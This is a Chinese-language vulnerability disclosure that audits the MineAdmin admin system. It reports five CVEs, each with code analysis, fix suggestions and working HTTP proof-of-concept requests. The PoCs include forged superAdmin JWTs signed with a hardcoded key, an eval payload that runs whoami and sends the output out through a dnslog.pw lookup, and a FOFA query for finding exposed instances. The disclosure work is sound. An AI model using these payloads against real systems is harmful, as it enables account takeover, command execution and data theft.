本文对【MineAdmin 企业级后台管理系统】进行了代码审计共发现5个有价值的漏洞,包括逻辑缺陷 (CVE-2026-1195)、命令执行 (CVE-2025-65854) 、任意文件下载漏洞 (CVE-2026-1197)、任意文件读取漏洞 (CVE-2026-1196)、垂直越权漏洞 (CVE-2026-1193)。
1
| 受影响版本:MineAdmin v1.x-2.x FOFA:body="MineAdmin"
|
1. 逻辑缺陷漏洞 (CVE-2026-1195)
漏洞描述:
/system/refresh 接口存在逻辑缺陷。攻击者可以未授权构造一个签名为超级管理员的 JWT,直接骗过系统,通过刷新接口获取一个合法的、拥有管理员权限的新 Token。
代码位置:
app/System/Controller/LoginController.php
代码分析:

[PostMapping(‘refresh’)]仅定义了路由缺失权限控制,并且直接信任 $user 对象。在 Hyperf/MineAdmin 架构中,通常使用 #[Auth] 注解来强制要求请求必须携带有效 Token 并通过中间件校验。

config/autoload/jwt.php默认密钥硬编码为 ‘mineAdmin’大多数管理员署时未修改 .env,那么密钥就是公开的
POC:
1 2 3 4 5 6 7 8
| POST /system/refresh HTTP/1.1 Host: 127.0.0.1:9501 Accept: application/json, text/plain, */* Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJkZWZhdWx0XzY5NWM2MTVhOGI0YzY2LjkyMzg1MzE1IiwiaWF0IjoxNzY3NjYxOTE0LjU3MDU5MSwibmJmIjoxNzY3NjYxOTE0LjU3MDU5MSwiZXhwIjoxNzcwMjUzOTE0LjU3MDU5MSwiaWQiOjEsInVzZXJuYW1lIjoic3VwZXJBZG1pbiIsInVzZXJfdHlwZSI6IjEwMCIsIm5pY2tuYW1lIjoi5Yib5aeL5Lq6IiwiY3JlYXRlZF9hdCI6IjIwMjUtMDctMDIgMTM6Mzg6NDEiLCJ1cGRhdGVkX2F0IjoiMjAyNi0wMS0wNiAxNzoxNDowMCIsInJlbWFyayI6bnVsbCwiand0X3NjZW5lIjoiZGVmYXVsdCJ9.I2U0hOY91omT0Dh1K6Wibnx04D2fv03Pb1MWX9CRXdI Content-Type: application/json;charset=UTF-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh_CN
|

修复建议:
在 refresh 方法中强制校验 JWT 签名有效性,确保 Token 是由服务器签发的。
2. 命令执行漏洞 (CVE-2025-65854)
漏洞描述:
利用CVE-2026-1195获取管理员权限,/setting/crontab/save 接口允许管理员(或通过弱口令)创建定时任务。创建 type=4 (Eval) 的任务,并把恶意 PHP 代码写入 target 字段,即可执行任意命令。
代码位置:
app/Setting/Controller/Tools/CrontabController.php
代码分析

控制器未对 type 或 target 做安全限制。配合 app/Setting/Service/SettingCrontabService.php 中的 run 方法:

当 type 为 Eval 时,target 内容被执行。
POC:添加恶意命令
1 2 3 4 5 6 7 8 9 10 11
| POST /setting/crontab/save HTTP/1.1 Host: 127.0.0.1:9501 Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJkZWZhdWx0XzY5NWNiNWY3ZWVhODAyLjkxMTg5NDMwIiwiaWF0IjoxNzY3NjgzNTc1Ljk3NzU0MywibmJmIjoxNzY3NjgzNTc1Ljk3NzU0MywiZXhwIjoxNzY3NjkwNzc1Ljk3NzU0MywiaWQiOjEsInVzZXJuYW1lIjoic3VwZXJBZG1pbiIsInVzZXJfdHlwZSI6IjEwMCIsIm5pY2tuYW1lIjoi5Yib5aeL5Lq6IiwiY3JlYXRlZF9hdCI6IjIwMjUtMDctMDIgMTM6Mzg6NDEiLCJ1cGRhdGVkX2F0IjoiMjAyNi0wMS0wNiAxNzoxNDowMCIsInJlbWFyayI6bnVsbCwiand0X3NjZW5lIjoiZGVmYXVsdCJ9.BUVL91bTIAMMyvVdsu7jFffSl39IWVZV2hpKYzuWPaI Content-Type: application/json;charset=UTF-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Accept: application/json, text/plain, */* Accept-Encoding: gzip, deflate Accept-Language: zh_CN Content-Length: 141
{"singleton":"2","status":"1","name":"test","type":"4","rule":"30 */5 * * * *","target":"eval('$user = shell_exec(\"whoami\"); system(\"ping -n 1 " . trim($user) . ".5yzhle6v.dnslog.pw\");');"}
|

POC:执行恶意命令
1 2 3 4 5 6 7 8 9 10 11
| POST /setting/crontab/run HTTP/1.1 Host: 127.0.0.1:9501 Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJkZWZhdWx0XzY5NWNiNWY3ZWVhODAyLjkxMTg5NDMwIiwiaWF0IjoxNzY3NjgzNTc1Ljk3NzU0MywibmJmIjoxNzY3NjgzNTc1Ljk3NzU0MywiZXhwIjoxNzY3NjkwNzc1Ljk3NzU0MywiaWQiOjEsInVzZXJuYW1lIjoic3VwZXJBZG1pbiIsInVzZXJfdHlwZSI6IjEwMCIsIm5pY2tuYW1lIjoi5Yib5aeL5Lq6IiwiY3JlYXRlZF9hdCI6IjIwMjUtMDctMDIgMTM6Mzg6NDEiLCJ1cGRhdGVkX2F0IjoiMjAyNi0wMS0wNiAxNzoxNDowMCIsInJlbWFyayI6bnVsbCwiand0X3NjZW5lIjoiZGVmYXVsdCJ9.BUVL91bTIAMMyvVdsu7jFffSl39IWVZV2hpKYzuWPaI Accept-Encoding: gzip, deflate Accept-Language: zh_CN Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Content-Type: application/json;charset=UTF-8 Content-Length: 8
{"id":2}
|


修复建议:
严格限制或禁止创建 type=4 (Eval) 类型的定时任务。使用白名单校验 target 内容。
3. 任意文件下载漏洞 (CVE-2026-1197)
漏洞描述:
/system/downloadById?id= 接口未进行权限验证。攻击者可以通过枚举 id(自增数字)下载服务器上的任意附件。
代码位置:
app/System/Controller/UploadController.php
代码分析:

该方法缺少 #[Auth] 注解,导致未登录用户即可访问。
POC:
1 2
| GET /system/downloadById?id=3 HTTP/1.1 Host:127.0.0.1
|

修复建议:
添加 #[Auth] 注解,并根据业务需求添加权限校验(如 #[Permission] )。
4. 任意文件读取漏洞 (CVE-2026-1196)
漏洞描述:
/system/getFileInfoById?id= 接口未进行权限验证。攻击者可通过枚举 id 获取文件的详细信息(包括 hash),进而利用 hash 通过其他接口下载或查看文件。
代码位置:
app/System/Controller/UploadController.php
代码分析:


该方法同样缺少 #[Auth] 注解,未登录用户可直接访问。
POC:
1 2
| GET /system/getFileInfoById?id=43 HTTP/1.1 Host: 127.0.0.1:9501
|
1 2 3 4
| hash读取接口poc: /system/showFile/e10adc3949ba59abbe56e057f20f883e hash下载接口poc: /system/downloadByHash?hash=e10adc3949ba59abbe56e057f20f883e
|


修复建议:
添加 #[Auth] 注解,并加强权限校验。
5. 垂直越权漏洞 (CVE-2026-1193)
漏洞描述:
/system/cache/view 接口存在垂直越权漏洞。虽然需要登录(有 #[Auth]),但缺少具体的 #[Permission] 权限标识。任何登录用户(包括普通用户)都可以访问该接口查看 Redis 缓存内容,包括管理员 Token 等敏感信息。
代码位置:
app/System/Controller/Monitor/CacheMonitorController.php
代码分析:

同类中其他方法如 monitor、delete 均有 #[Permission(...)] 注解,唯独 view 方法缺失。
POC:普通用户垂直越权访问MineAdmin:Token:1(管理员token)
1 2 3 4 5 6 7 8 9
| POST /prod/system/cache/view HTTP/1.1 Host: 127.0.0.1:8888 Accept-Language: zh_CN Accept: application/json, text/plain, */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Authorization: Bearer (此处替换普通用户token) Content-Type: application/json;charset=UTF-8 Content-Length: 27
|

修复建议:
添加相应的权限注解,例如 #[Permission('system:cache:view')],限制只有具备该权限的用户才能访问。
源码地址:
[https://github.com/mineadmin/MineAdmin/archive/refs/tags/v2.0-stable.zip]: